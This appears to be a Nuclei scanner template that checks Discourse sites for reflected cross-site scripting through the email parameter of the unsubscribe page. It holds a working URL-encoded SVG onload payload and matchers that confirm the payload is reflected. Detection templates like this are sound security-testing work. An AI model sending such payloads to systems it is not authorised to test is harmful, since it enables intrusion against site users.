id: discourse-xss

info:
  name: Discourse CMS - XSS
  author: madrobot
  severity: medium
  description: Cross-site scripting (XSS) on Discourse CMS
  tags: xss,discourse

requests:
  - method: GET
    path:
      - '{{BaseURL}}/email/unsubscribed?email=test@gmail.com%27\%22%3E%3Csvg/onload=alert(/xss/)%3E'
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        words:
          - "<svg/onload=alert(/xss/)>"
        part: body

      - type: word
        words:
          - "text/html"
        part: header